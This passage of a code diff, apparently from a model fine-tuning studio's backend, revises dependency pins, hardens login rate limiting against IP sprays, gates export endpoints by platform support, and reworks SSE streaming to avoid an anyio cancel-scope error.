@@ -601,6 +614,11 @@ class TrainingRunSummary(BaseModel):
     loss_sparkline: Optional[List[float]] = None
     can_resume: bool = False
     resumed_later: bool = False
+    has_preview_model: bool = False
+    preview_ref: Optional[str] = None
+    # HMAC capability token for the `/p/{preview_ref}` share link; None when not
+    # previewable. The frontend appends it as `?k=` so a guessed ref can't be used.
+    preview_sig: Optional[str] = None
 
 
 class TrainingRunUpdateRequest(BaseModel):
diff --git a/studio/backend/requirements/extras-no-deps.txt b/studio/backend/requirements/extras-no-deps.txt
index 23c61baa44..5830a47789 100644
--- a/studio/backend/requirements/extras-no-deps.txt
+++ b/studio/backend/requirements/extras-no-deps.txt
@@ -11,10 +11,12 @@ peft==0.18.1
 
 # TRL and related packages
 trl==0.23.1
-git+https://github.com/meta-pytorch/OpenEnv.git
 # executorch>=1.0.1               # 41.5 MB - no imports in unsloth/zoo/studio
 torch-c-dlpack-ext
 sentence_transformers==5.2.0
 transformers==4.57.6
 pytorch_tokenizers
 kernels==0.12.1
+# kernels<3.11 imports tomli as its tomllib fallback; --no-deps skips its own
+# marker dep, so list it here (no-op on the 3.12/3.13 default installs).
+tomli; python_version < "3.11"
diff --git a/studio/backend/requirements/extras.txt b/studio/backend/requirements/extras.txt
index 40737b0876..1baf2b6f2d 100644
--- a/studio/backend/requirements/extras.txt
+++ b/studio/backend/requirements/extras.txt
@@ -1,27 +1,11 @@
-# OpenEnv dependencies
-tomli
-tomli-w
-
-# ExecuTorch dependencies
-ruamel.yaml
-# coremltools                    # 10.2 MB - Apple CoreML, no imports in unsloth/zoo/studio
-expecttest
+# transitive dep of onnxruntime (via data-designer's pymupdf4llm)
 flatbuffers
-hydra-core
-hypothesis
-kgb
-parameterized
-pytest>=9.0.3,<10
-pytest-json-report
-pytest-rerunfailures>=16.2,<17
-pytest-xdist
-# Also needed by sentence_transformers (installed with --no-deps in extras-no-deps.txt)
+# Also needed by sentence_transformers (installed with --no-deps in extras-no-deps.txt);
+# librosa pulls it in too, but is skipped in no-torch mode.
 scikit-learn==1.7.1
 
 # Additional extras
-pybind11
-langid
-jiwer
+jiwer                            # WER/CER metrics for vision OCR save-merge benchmarks
 omegaconf
 einx
 pyloudnorm
@@ -39,17 +23,12 @@ ftfy
 importlib-resources
 librosa
 markdown2
-matplotlib
+matplotlib==3.10.9
 pystoi
 soundfile
 tensorboard
 torch-stoi
-evaluate
 timm
-transformers-cfg
-open_spiel
-addict
-easydict
 einops
 tabulate
 openai>=2.7.2
diff --git a/studio/backend/requirements/no-torch-runtime.txt b/studio/backend/requirements/no-torch-runtime.txt
index a611c009fb..de321f80ed 100644
--- a/studio/backend/requirements/no-torch-runtime.txt
+++ b/studio/backend/requirements/no-torch-runtime.txt
@@ -56,7 +56,7 @@ httpx
 httpcore
 certifi
 idna
-anyio>=3.0,<4.14.0  # one consistent <4.14: 4.14's TaskHandle importers over a stale 4.13 _core/_tasks -> ImportError (#6483)
+anyio>=3.0,<4.14.0  # 4.14 asyncio cancel-scope RuntimeError on Py3.13 streaming (#6483); 4.13 unaffected
 sniffio
 h11
 
@@ -73,4 +73,9 @@ pillow
 # this file installs --no-deps; without them Studio runs with RAG disabled.
 sqlite-vec==0.1.9
 pymupdf==1.27.2.3
+# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the
+# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown().
+pymupdf4llm==0.3.4
 python-docx==1.2.0
+
+lxml==6.0.2
diff --git a/studio/backend/requirements/single-env/constraints.txt b/studio/backend/requirements/single-env/constraints.txt
index a916c6fc75..0ed2bf8b26 100644
--- a/studio/backend/requirements/single-env/constraints.txt
+++ b/studio/backend/requirements/single-env/constraints.txt
@@ -8,16 +8,16 @@ huggingface-hub==0.36.2
 datasets==4.3.0
 pyarrow==23.0.1
 
-# FastMCP/OpenEnv compat
+# FastMCP compat
 fastmcp>=3.0.2
 mcp>=1.24,<2
 websockets>=15.0.1
 
-# Keep anyio on one consistent <4.14 line. anyio 4.14 added TaskHandle (imported
-# by __init__.py and the asyncio backend from _core/_tasks); a clean 4.14 is fine
-# on 3.13. The real failure (#6483) is a half-resolved install: a stale 4.13
-# _core/_tasks (no TaskHandle) under 4.14's importers raises ImportError and 500s
-# the server. Global cap so later with-deps steps can't re-resolve it up.
+# Cap anyio <4.14: 4.14's new asyncio per-task cancel scope (TaskHandle/_run_coro)
+# gets exited in the wrong task on Python 3.13 under starlette's collapsing task
+# group, raising "RuntimeError: ... exit a cancel scope that isn't the current
+# task's" on streaming responses (#6483); 4.13 has no such code. Global cap so
+# later with-deps steps can't re-resolve it up.
 anyio<4.14.0
 
 pandas==2.3.3
diff --git a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
index a0e73c7efc..43f37b3183 100644
--- a/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
+++ b/studio/backend/requirements/single-env/overrides-darwin-arm64.txt
@@ -4,10 +4,15 @@
 # happens at runtime via the side-car venvs.
 transformers>=4.57.6
 
-# mlx-vlm / mlx-lm pull anyio>=4.14, which fights the constraints.txt cap
-# (anyio<4.14.0). The -c constraint loses that fight on macOS-arm, leaving a
-# half-resolved anyio (4.14 importers over a stale 4.13 _core/_tasks with no
-# TaskHandle) that ImportErrors and 500s the server (#6483; clean 4.14 is fine,
-# it is the mix that breaks). An override wins the fight, so force one
-# consistent <4.14 here too.
+# mlx-vlm / mlx-lm pull anyio>=4.14, which fights the constraints.txt cap (needed
+# for the 4.14 Python-3.13 streaming cancel-scope RuntimeError, #6483). The -c
+# constraint loses that fight on macOS-arm, leaving a half-resolved 4.14/4.13
+# anyio that also ImportErrors on TaskHandle and 500s the server. An override
+# wins the fight, so force one consistent <4.14 here too.
 anyio<4.14.0
+
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so those checkpoints fail to load. mlx-lm #1242.
+# The override also drops it from transitive resolution; keep the >=0.22.0 floor
+# (mirrors mlx_repair.py _MLX_MIN_VERSIONS) or the resolver could go below it.
+mlx-lm>=0.22.0,!=0.31.3
diff --git a/studio/backend/requirements/studio.txt b/studio/backend/requirements/studio.txt
index 96fef60471..6f4a5c3292 100644
--- a/studio/backend/requirements/studio.txt
+++ b/studio/backend/requirements/studio.txt
@@ -4,13 +4,11 @@ fastapi
 uvicorn
 pydantic
 packaging
-matplotlib
+matplotlib==3.10.9
 pandas
 nest_asyncio
 datasets==4.3.0
 pyjwt
-easydict
-addict
 # gradio>=4.0.0                  # 148 MB - Studio uses React + FastAPI, not Gradio
 huggingface-hub==0.36.2
 structlog>=24.1.0
@@ -24,4 +22,7 @@ fastmcp>=3.0.2
 # extras-no-deps.txt; these add the lexical+dense store and document parsing.
 sqlite-vec==0.1.9
 pymupdf==1.27.2.3
+# 0.3.x keeps pymupdf-layout (which pulls onnxruntime) an optional extra; the
+# lockstep 1.27.x line makes it a hard dep we do not need for to_markdown().
+pymupdf4llm==0.3.4
 python-docx==1.2.0
diff --git a/studio/backend/routes/auth.py b/studio/backend/routes/auth.py
index d2b3bf94e9..92ecdbfb5b 100644
--- a/studio/backend/routes/auth.py
+++ b/studio/backend/routes/auth.py
@@ -74,9 +74,81 @@ _LOGIN_WINDOW_SECONDS = 60.0
 _LOGIN_MAX_FAILS = 5
 _LOGIN_IP_MAX_FAILS = 30
 _LOGIN_LOCKOUT_SECONDS = 60
-# Bucket-dict cap. On overflow, prune stale entries; if still full the failure
-# folds into the per-IP aggregate only.
+# Bucket-dict cap. On overflow, reclaim expired buckets; a new IP that still can't
+# fit falls back to a sharded overflow rather than evicting a hot bucket.
 _LOGIN_MAX_BUCKETS = 4096
+# Last full stale-sweep time; rate-limits the O(n) sweep under a burst of new IPs.
+_LAST_IP_PRUNE = 0.0
+# Sharded overflow for per-IP failures that can't get their own bucket while the
+# dict is saturated. Each shard is a small fixed-capacity dict ``ip -> [count,
+# window_start]``: a per-IP count (so a source is throttled, and cleared on
+# success, by its own failures -- no cross-IP collateral) with hard-bounded
+# memory and O(1) lookups. When a shard is full a new IP evicts the lowest-count
+# entry (and starts clean, never inheriting its count) rather than growing without
+# bound, so a high-cardinality spray can't blow memory/CPU the way a per-failure
+# deque could; a persistent attacker keeps a high count and is never the one
+# evicted.
+_LOGIN_IP_OVERFLOW_SHARDS = 256
+_LOGIN_IP_OVERFLOW_MAX = 64  # distinct IPs tracked per shard
+_LOGIN_IP_OVERFLOW: list[dict] = [dict() for _ in range(_LOGIN_IP_OVERFLOW_SHARDS)]
+
+
+def _overflow_shard(ip: str) -> dict:
+    return _LOGIN_IP_OVERFLOW[hash(ip) % _LOGIN_IP_OVERFLOW_SHARDS]
+
+
+def _overflow_record(ip: str, now: float) -> int:
+    """Record an overflow failure for ``ip`` and return its windowed count."""
+    shard = _overflow_shard(ip)
+    entry = shard.get(ip)
+    if entry is not None:
+        if now - entry[1] > _LOGIN_WINDOW_SECONDS:
+            entry[0], entry[1] = 1, now
+        else:
+            # Only "at or above the per-IP threshold" matters for blocking, so cap
+            # the count there. This also keeps the migration into a per-IP bucket
+            # bounded -- without the cap a saturated source could accrue an
+            # unbounded count, then materialize one deque entry per failure
+            # (``[start] * carried``) on the next attempt, allocating an arbitrarily
+            # large deque while holding the login lock.
+            entry[0] = min(entry[0] + 1, _LOGIN_IP_MAX_FAILS)
+        return entry[0]
+    if len(shard) >= _LOGIN_IP_OVERFLOW_MAX:
+        # Make room by dropping the lowest-count entry, but the new source starts
+        # clean -- never inherit the evicted IP's failures, or an unrelated source
+        # could be 429'd after one attempt. Worst case under a saturated shard is
+        # that a heavy hitter briefly resets, not that a bystander is blocked.
+        del shard[min(shard, key = lambda k: shard[k][0])]
+    shard[ip] = [1, now]
+    return 1
+
+
+def _overflow_blocked(ip: str, now: float) -> int:
+    """Seconds this IP is throttled by its own overflow count, or 0."""
+    shard = _overflow_shard(ip)
+    entry = shard.get(ip)
+    if entry is None:
+        return 0
+    if now - entry[1] > _LOGIN_WINDOW_SECONDS:
+        del shard[ip]
+        return 0
+    if entry[0] >= _LOGIN_IP_MAX_FAILS:
+        return max(1, int(_LOGIN_WINDOW_SECONDS - (now - entry[1])))
+    return 0
+
+
+def _overflow_take(ip: str, now: float) -> tuple[int, float]:
+    """Pop ip's overflow entry, returning its ``(count, window_start)`` so the
+    count can migrate into a fresh per-IP bucket. ``(0, now)`` if none/expired."""
+    entry = _overflow_shard(ip).pop(ip, None)
+    if entry is None or now - entry[1] > _LOGIN_WINDOW_SECONDS:
+        return 0, now
+    # Cap the carried count so the bucket migration never allocates more than the
+    # per-IP threshold worth of deque entries (defensive; _overflow_record already
+    # clamps, but keep the bound at the consumption site too).
+    return min(entry[0], _LOGIN_IP_MAX_FAILS), entry[1]
+
+
 # Unrepresentable as a real username (leading NUL); folds unknown-user attempts
 # into one slot so attacker cardinality can't blow the bucket dict.
 _UNKNOWN_LOGIN_USER = "\x00unknown-user"
@@ -169,13 +241,50 @@ def _prune_stale_buckets(now: float) -> None:
         _LOGIN_BUCKETS.pop(key, None)
 
 
+def _prune_stale_ip_buckets(now: float) -> None:
+    """Drop empty / expired per-IP buckets to bound memory under spray.
+
+    The dict is otherwise reclaimed only on a successful login, so a failure-only
+    spray from many (or spoofed) IPs would grow it without bound.
+    """
+    stale: list[str] = []
+    for bucket_ip, bucket in _LOGIN_IP_BUCKETS.items():
+        _prune_bucket(bucket, now)
+        if not bucket:
+            stale.append(bucket_ip)
+    for bucket_ip in stale:
+        _LOGIN_IP_BUCKETS.pop(bucket_ip, None)
+
+
 def _record_login_failure(key: tuple[str, str]) -> int:
+    global _LAST_IP_PRUNE
     now = time.monotonic()
     ip, _username = key
     with _LOGIN_BUCKETS_LOCK:
-        ip_bucket = _LOGIN_IP_BUCKETS.setdefault(ip, deque())
-        _prune_bucket(ip_bucket, now)
-        ip_bucket.append(now)
+        # Keep the dict bounded without disabling throttling and without letting a
+        # spray reset a hot bucket: for a new IP at the cap, reclaim expired buckets
+        # (rate-limited) to make room.
+        ip_bucket = _LOGIN_IP_BUCKETS.get(ip)
+        if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS:
+            if now - _LAST_IP_PRUNE >= 1.0:
+                _prune_stale_ip_buckets(now)
+                _LAST_IP_PRUNE = now
+        if ip_bucket is None and len(_LOGIN_IP_BUCKETS) >= _LOGIN_MAX_BUCKETS:
+            # Still full -- every bucket is hot. Count this failure in the IP's
+            # bounded overflow shard instead of evicting a live one, so the spray
+            # stays throttled but can't push out (and reset) any IP's own counter.
+            ip_fails = _overflow_record(ip, now)
+        else:
+            if ip_bucket is None:
+                ip_bucket = _LOGIN_IP_BUCKETS[ip] = deque()
+                # Carry over any overflow failures this IP accrued while the dict
+                # was saturated, so straddling the overflow -> bucket transition
+                # can't double the effective per-IP limit.
+                carried, start = _overflow_take(ip, now)
+                ip_bucket.extend([start] * carried)
+            _prune_bucket(ip_bucket, now)
+            ip_bucket.append(now)
+            ip_fails = len(ip_bucket)
 
         if key not in _LOGIN_BUCKETS and len(_LOGIN_BUCKETS) >= _LOGIN_MAX_BUCKETS:
             _prune_stale_buckets(now)
@@ -184,8 +293,8 @@ def _record_login_failure(key: tuple[str, str]) -> int:
             _prune_bucket(account_bucket, now)
             account_bucket.append(now)
             return len(account_bucket)
-        # Bucket dict at cap; per-IP cap still applies via ip_bucket.
-        return len(ip_bucket)
+        # Both dicts at cap (sustained spray): fall back to the per-IP count.
+        return ip_fails
 
 
 def _blocked_for(bucket: deque | None, now: float, max_fails: int) -> int:
@@ -202,10 +311,16 @@ def _login_blocked(key: tuple[str, str]) -> int:
     now = time.monotonic()
     ip, _username = key
     with _LOGIN_BUCKETS_LOCK:
-        return max(
-            _blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS),
+        # Honor the IP's overflow shard regardless of current dict capacity: a
+        # source counted there during saturation must stay throttled until those
+        # failures age out, even if a bucket later frees up -- otherwise a fresh
+        # bucket would reset it. Shards are empty outside saturation, so this is a
+        # no-op in the common case.
+        ip_blocked = max(
             _blocked_for(_LOGIN_IP_BUCKETS.get(ip), now, _LOGIN_IP_MAX_FAILS),
+            _overflow_blocked(ip, now),
         )
+        return max(_blocked_for(_LOGIN_BUCKETS.get(key), now, _LOGIN_MAX_FAILS), ip_blocked)
 
 
 def _clear_login_bucket(key: tuple[str, str]) -> None:
@@ -213,6 +328,10 @@ def _clear_login_bucket(key: tuple[str, str]) -> None:
     with _LOGIN_BUCKETS_LOCK:
         _LOGIN_BUCKETS.pop(key, None)
         _LOGIN_IP_BUCKETS.pop(ip, None)
+        # A successful login resets the IP's throttle, including any overflow it
+        # accumulated during saturation (drop only this IP's entry, so a
+        # shard-mate's throttle is untouched).
+        _overflow_shard(ip).pop(ip, None)
 
 
 # Sync def (not async): compute_identity_proof touches SQLite on the first call,
diff --git a/studio/backend/routes/chat_history.py b/studio/backend/routes/chat_history.py
index 1243b284b4..963d584303 100644
--- a/studio/backend/routes/chat_history.py
+++ b/studio/backend/routes/chat_history.py
@@ -150,6 +150,7 @@ class ChatInferenceSettings(BaseModel):
     maxSeqLength: Optional[float] = None
     maxTokens: Optional[float] = None
     systemPrompt: Optional[str] = None
+    systemVariables: Optional[str] = None
     trustRemoteCode: Optional[bool] = None
     fastMode: Optional[bool] = None
 
@@ -176,6 +177,7 @@ class ChatSettingsPayload(BaseModel):
     collapseHtmlArtifacts: Optional[bool] = None
     allowArtifactNetworkAccess: Optional[bool] = None
     autoHealToolCalls: Optional[bool] = None
+    nudgeToolCalls: Optional[bool] = None
     maxToolCallsPerMessage: Optional[int] = Field(default = None, ge = 1)
     toolCallTimeout: Optional[int] = Field(default = None, ge = 1)
 
diff --git a/studio/backend/routes/data_recipe/seed.py b/studio/backend/routes/data_recipe/seed.py
index 8fb034ea4e..57a291291e 100644
--- a/studio/backend/routes/data_recipe/seed.py
+++ b/studio/backend/routes/data_recipe/seed.py
@@ -481,6 +481,37 @@ async def upload_unstructured_file(
                 error = "No extractable text found in file",
             )
         extracted_path.write_text(extracted_text, encoding = "utf-8")
+    except ImportError as e:
+        raw_path.unlink(missing_ok = True)
+        extracted_path.unlink(missing_ok = True)
+        missing = getattr(e, "name", None)
+        expected_missing = {".pdf": "pymupdf4llm", ".docx": "mammoth"}.get(ext)
+        if isinstance(e, ModuleNotFoundError) and missing == expected_missing:
+            logger.error(
+                "data_recipe.seed.text_extraction_dependency_missing",
+                error = str(e),
+                missing = missing,
+                exc_info = True,
+            )
+            return UnstructuredFileUploadResponse(
+                file_id = file_id,
+                filename = original_filename,
+                size_bytes = size_bytes,
+                status = "error",
+                error = f"Cannot read {ext} files: the '{missing}' package is not installed.",
+            )
+        logger.error(
+            "data_recipe.seed.text_extraction_failed",
+            error = str(e),
+            exc_info = True,
+        )
+        return UnstructuredFileUploadResponse(
+            file_id = file_id,
+            filename = original_filename,
+            size_bytes = size_bytes,
+            status = "error",
+            error = "Text extraction failed.",
+        )
     except Exception as e:
         raw_path.unlink(missing_ok = True)
         extracted_path.unlink(missing_ok = True)
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index 78c1e59d2e..a7fd7cbec7 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -46,6 +46,23 @@ router = APIRouter()
 logger = get_logger(__name__)
 
 
+def _ensure_export_supported() -> None:
+    """Reject a mutating export request up front (HTTP 400) when the host can't export.
+
+    Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints
+    (scan/status/logs) are intentionally NOT gated so the Export page can still render the reason.
+    """
+    from utils.hardware import export_capability
+
+    cap = export_capability()
+    if not cap.get("export_supported", True):
+        raise HTTPException(
+            status_code = 400,
+            detail = cap.get("export_unsupported_message")
+            or "Export is not supported on this platform.",
+        )
+
+
 @router.post("/load-checkpoint", response_model = ExportOperationResponse)
 async def load_checkpoint(
     request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject)
@@ -58,6 +75,7 @@ async def load_checkpoint(
     a clear error instead of tearing down the user's other running workloads.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         # Run in a worker thread (spawns and waits on a subprocess, can take
         # minutes) so the event loop stays free to serve the live log SSE stream.
@@ -266,6 +284,7 @@ async def export_merged_model(
     Wraps ExportBackend.export_merged_model.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_merged_model,
@@ -275,6 +294,7 @@ async def export_merged_model(
             repo_id = request.repo_id,
             hf_token = request.hf_token,
             private = request.private,
+            compressed_method = request.compressed_method,
         )
 
         if not success:
@@ -304,6 +324,7 @@ async def export_base_model(
     Wraps ExportBackend.export_base_model.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_base_model,
@@ -342,7 +363,10 @@ async def export_gguf(
     Wraps ExportBackend.export_gguf.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
+        # A custom path wins; otherwise the imatrix toggle requests the upstream auto-download.
+        imatrix_file = request.imatrix_path or (True if request.imatrix else None)
         success, message, output_path = await asyncio.to_thread(
             backend.export_gguf,
             save_directory = request.save_directory,
@@ -350,6 +374,7 @@ async def export_gguf(
             push_to_hub = request.push_to_hub,
             repo_id = request.repo_id,
             hf_token = request.hf_token,
+            imatrix_file = imatrix_file,
         )
 
         if not success:
@@ -379,6 +404,7 @@ async def export_lora_adapter(
     Wraps ExportBackend.export_lora_adapter.
     """
     try:
+        _ensure_export_supported()
         backend = get_export_backend()
         success, message, output_path = await asyncio.to_thread(
             backend.export_lora_adapter,
@@ -387,6 +413,8 @@ async def export_lora_adapter(
             repo_id = request.repo_id,
             hf_token = request.hf_token,
             private = request.private,
+            gguf = request.gguf,
+            gguf_outtype = request.gguf_outtype,
         )
 
         if not success:
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 53d81961c3..5332037e0d 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -12,12 +12,14 @@ import uuid
 from pathlib import Path
 from fastapi import APIRouter, Depends, HTTPException, Request, status
 from fastapi.responses import StreamingResponse, JSONResponse, Response
+from starlette.requests import ClientDisconnect
 from typing import Any, List, Optional, Union
 import json
 import httpx
 from loggers import get_logger
 import asyncio
 import threading
+import weakref
 
 
 import re as _re
@@ -163,6 +165,26 @@ def _friendly_error(exc: Exception) -> str:
     return "An internal error occurred"
 
 
+def _friendly_upstream_error(text: str) -> str:
+    """Rewrite a raw llama-server error body into an actionable message where we can.
+
+    The main case is a tool-calling grammar that llama-server can't compile ("failed to
+    parse grammar" / "failed to initialize samplers"). This surfaces to coding agents as
+    a hard 400 on every tool-bearing turn. It is a llama-server limitation with some
+    model/quant + tool-schema combinations, and recent llama.cpp builds handle the common
+    coding-agent tools, so point the user at updating Studio rather than the raw body.
+    """
+    lowered = text.lower()
+    if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered:
+        return (
+            "The model couldn't compile a tool-calling grammar for this request. This is a "
+            "llama-server limitation with some model/quant and tool-schema combinations. "
+            "Update Studio (it installs the latest llama.cpp, which handles the common "
+            "coding-agent tools) or try a different GGUF model."
+        )
+    return f"llama-server error: {text}"
+
+
 def _clamp_finish_reason(value) -> str:
     """Coerce an upstream finish_reason into OpenAI's known chat values.
 
@@ -235,8 +257,15 @@ def _sse_streaming_response(content) -> StreamingResponse:
     a one-shot connection. Two callers build their response inline instead: the
     external-provider proxy omits ``Connection: close``, and the OpenAI
     passthrough returns an empty ``keep-alive`` stream when the request is
-    cancelled before the upstream response starts."""
-    return StreamingResponse(
+    cancelled before the upstream response starts.
+
+    Built on ``_SameTaskStreamingResponse`` (not Starlette's stock
+    ``StreamingResponse``) so the SSE generator runs in the request task. The
+    legacy AnyIO task-group wrapper trips "Attempted to exit a cancel scope in a
+    different task" on Python 3.13 + httpx, which surfaced as a mid-stream
+    ``response.failed``. The streaming paths that take their response inline use
+    ``_SameTaskStreamingResponse`` directly for the same reason."""
+    return _SameTaskStreamingResponse(
         content,
         media_type = "text/event-stream",
         headers = {
@@ -269,8 +298,8 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException":
     """HTTPException for a non-200 upstream response on the OpenAI passthrough
     (tools / response_format). An over-context upstream error is mapped to a 400
     with code="context_length_exceeded" so these paths deliver the same signal as
-    the non-passthrough path; any other upstream error keeps llama-server's
-    message verbatim."""
+    the non-passthrough path; a tool-grammar compile failure gets the same actionable
+    guidance as the Anthropic passthrough; any other upstream error stays verbatim."""
     if _classify_llama_generation_error(Exception(text)):
         return HTTPException(
             status_code = 400,
@@ -283,7 +312,7 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException":
         )
     return HTTPException(
         status_code = status_code,
-        detail = f"llama-server error: {text[:500]}",
+        detail = _friendly_upstream_error(text[:500]),
     )
 
 
@@ -574,6 +603,17 @@ def _chat_content_chunk(completion_id, created, model_name, text) -> str:
     )
 
 
+def _chat_reasoning_chunk(completion_id, created, model_name, text) -> str:
+    """Like ``_chat_content_chunk`` but on ``reasoning_content`` (renders the UI thinking block)."""
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(reasoning_content = text),
+        finish_reason = None,
+    )
+
+
 def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     """Terminal stop chunk (empty delta) carrying the finish reason."""
     return _chat_chunk_sse(
@@ -585,6 +625,66 @@ def _chat_final_chunk(completion_id, created, model_name, finish_reason) -> str:
     )
 
 
+def _chat_tool_calls_chunk(completion_id, created, model_name, tool_calls) -> str:
+    """Delta chunk carrying OpenAI tool-call deltas (sibling of ``_chat_content_chunk``)."""
+    return _chat_chunk_sse(
+        completion_id,
+        created,
+        model_name,
+        delta = ChoiceDelta(tool_calls = tool_calls),
+        finish_reason = None,
+    )
+
+
+def _sf_heal_events_to_sse(
+    events,
+    completion_id,
+    created,
+    model_name,
+    state,
+    parallel_tool_calls,
+    monitor_id = None,
+):
+    """Serialize ``StreamToolCallHealer`` events into chat SSE lines.
+
+    ``state["idx"]`` tracks the call index across ``feed``/``finalize``;
+    ``parallel_tool_calls is False`` caps promotion to one call (GGUF parity).
+    The monitor is fed from the same events the client receives, never the
+    healed-away markup."""
+    lines = []
+    for kind, value in events:
+        if kind == "text":
+            if value:
+                lines.append(_chat_content_chunk(completion_id, created, model_name, value))
+                api_monitor.append_reply(monitor_id, value)
+            continue
+        if parallel_tool_calls is False and state["idx"] >= 1:
+            continue
+        lines.append(
+            _chat_tool_calls_chunk(
+                completion_id,
+                created,
+                model_name,
+                [
+                    {
+                        "index": state["idx"],
+                        "id": value["id"],
+                        "type": "function",
+                        "function": value["function"],
+                    }
+                ],
+            )
+        )
+        _fn = value.get("function") or {}
+        api_monitor.append_reply(
+            monitor_id,
+            ("[tool_calls] " if state["idx"] == 0 else "; ")
+            + f"{_fn.get('name', '')}({_fn.get('arguments', '')})",
+        )
+        state["idx"] += 1
+    return lines
+
+
 def _rewrite_cmpl_id(raw: bytes) -> bytes:
     """Rewrite llama-server's chat-style ``chatcmpl-`` ids to the ``cmpl-``
     prefix OpenAI's legacy /v1/completions use. Anchored on the ``"id":`` key
@@ -675,7 +775,9 @@ try:
         detect_reasoning_flags,
     )
     from core.inference.llama_server_args import (
+        _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
         validate_extra_args,
@@ -710,7 +812,9 @@ except ImportError:
         detect_reasoning_flags,
     )
     from core.inference.llama_server_args import (
+        _effective_tensor_parallel,
         _tensor_parallel_matches_loaded,
+        parse_split_mode_override,
         resolve_tensor_parallel,
         strip_shadowing_flags,
         validate_extra_args,
@@ -750,6 +854,125 @@ def _set_stream_response_read_timeout(
         pass
 
 
+_STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25
+_OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1
+
+
+class _CompatSameTaskTimeout:
+    """Same-task timeout fallback for Python versions before asyncio.timeout."""
+
+    def __init__(self, timeout_s: float):
+        self.timeout_s = timeout_s
+        self._task = None
+        self._handle = None
+        self._timed_out = False
+        self._cancelling = 0
+
+    async def __aenter__(self):
+        self._task = asyncio.current_task()
+        if self._task is None:
+            return self
+        if hasattr(self._task, "cancelling"):
+            self._cancelling = self._task.cancelling()
+        loop = asyncio.get_running_loop()
+        self._handle = loop.call_later(max(self.timeout_s, 0), self._cancel_task)
+        return self
+
+    async def __aexit__(self, exc_type, exc, tb):
+        if self._handle is not None:
+            self._handle.cancel()
+        if exc_type is not None and issubclass(exc_type, asyncio.CancelledError):
+            if self._timed_out:
+                if self._task is not None and hasattr(self._task, "uncancel"):
+                    if self._task.uncancel() > self._cancelling:
+                        return None
+                raise asyncio.TimeoutError from exc
+        return None
+
+    def _cancel_task(self) -> None:
+        self._timed_out = True
+        if self._task is not None:
+            self._task.cancel()
+
+
+def _same_task_timeout(timeout_s: float):
+    timeout_ctx = getattr(asyncio, "timeout", None)
+    if timeout_ctx is not None:
+        return timeout_ctx(timeout_s)
+    return _CompatSameTaskTimeout(timeout_s)
+
+
+class _SameTaskStreamingResponse(StreamingResponse):
+    """StreamingResponse without Starlette's legacy AnyIO task-group wrapper."""
+
+    def __init__(
+        self,
+        *args,
+        unstarted_cleanup = None,
+        **kwargs,
+    ) -> None:
+        super().__init__(*args, **kwargs)
+        # Released when the client disconnects before the body iterator starts:
+        # its try/finally never runs, so a stream that opens resources before the
+        # first yield (the passthrough's upstream httpx stream) passes this.
+        self._unstarted_cleanup = unstarted_cleanup
+
+    async def __call__(self, scope, receive, send) -> None:
+        # send() emits a body message only after the first chunk, so no body
+        # message means the generator never entered its try/finally.
+        body_started = False
+
+        async def _tracking_send(message) -> None:
+            nonlocal body_started
+            if message.get("type") == "http.response.body":
+                body_started = True
+            await send(message)
+
+        try:
+            await self.stream_response(_tracking_send)
+        except OSError:  # client disconnected mid-send
+            if body_started:
+                # Generator is suspended in its try/finally: throw CancelledError
+                # (not aclose's GeneratorExit) so its handler finishes the
+                # api_monitor entry. Fall back to aclose() without athrow.
+                athrow = getattr(self.body_iterator, "athrow", None)
+                if athrow is not None:
+                    try:
+                        await athrow(asyncio.CancelledError())
+                    except (asyncio.CancelledError, StopAsyncIteration, RuntimeError):
+                        pass
+                else:
+                    aclose = getattr(self.body_iterator, "aclose", None)
+                    if aclose is not None:
+                        await aclose()
+            else:
+                # Generator never started; aclose()/athrow() are no-ops on it, so
+                # release eager resources via the hook. getattr guards a response
+                # built through __new__ without __init__ (tests, pickling).
+                aclose = getattr(self.body_iterator, "aclose", None)
+                if aclose is not None:
+                    await aclose()
+                cleanup = getattr(self, "_unstarted_cleanup", None)
+                if cleanup is not None:
+                    try:
+                        await cleanup()
+                    except Exception:
+                        pass
+            raise ClientDisconnect()
+        if self.background is not None:
+            await self.background()
+
+
+def _tracked_cancel_unstarted_cleanup(tracker):
+    """unstarted_cleanup that exits ``tracker`` on a pre-start disconnect, when
+    the generator's finally (which normally exits it) never runs."""
+
+    async def _cleanup() -> None:
+        tracker.__exit__(None, None, None)
+
+    return _cleanup
+
+
 async def _aclose_stream_resources(
     *,
     watchers = (),
@@ -875,8 +1098,23 @@ async def _aiter_llama_stream_items(
                     raise httpx.ReadTimeout("The model did not produce a first token in time.")
                 if response is not None:
                     _set_stream_response_read_timeout(response, remaining_s)
-                item = await asyncio.wait_for(async_iter.__anext__(), timeout = remaining_s)
+                # Keep httpx/httpcore's AnyIO cancel scope in this task.
+                # asyncio.wait_for would drive __anext__ in a child task.
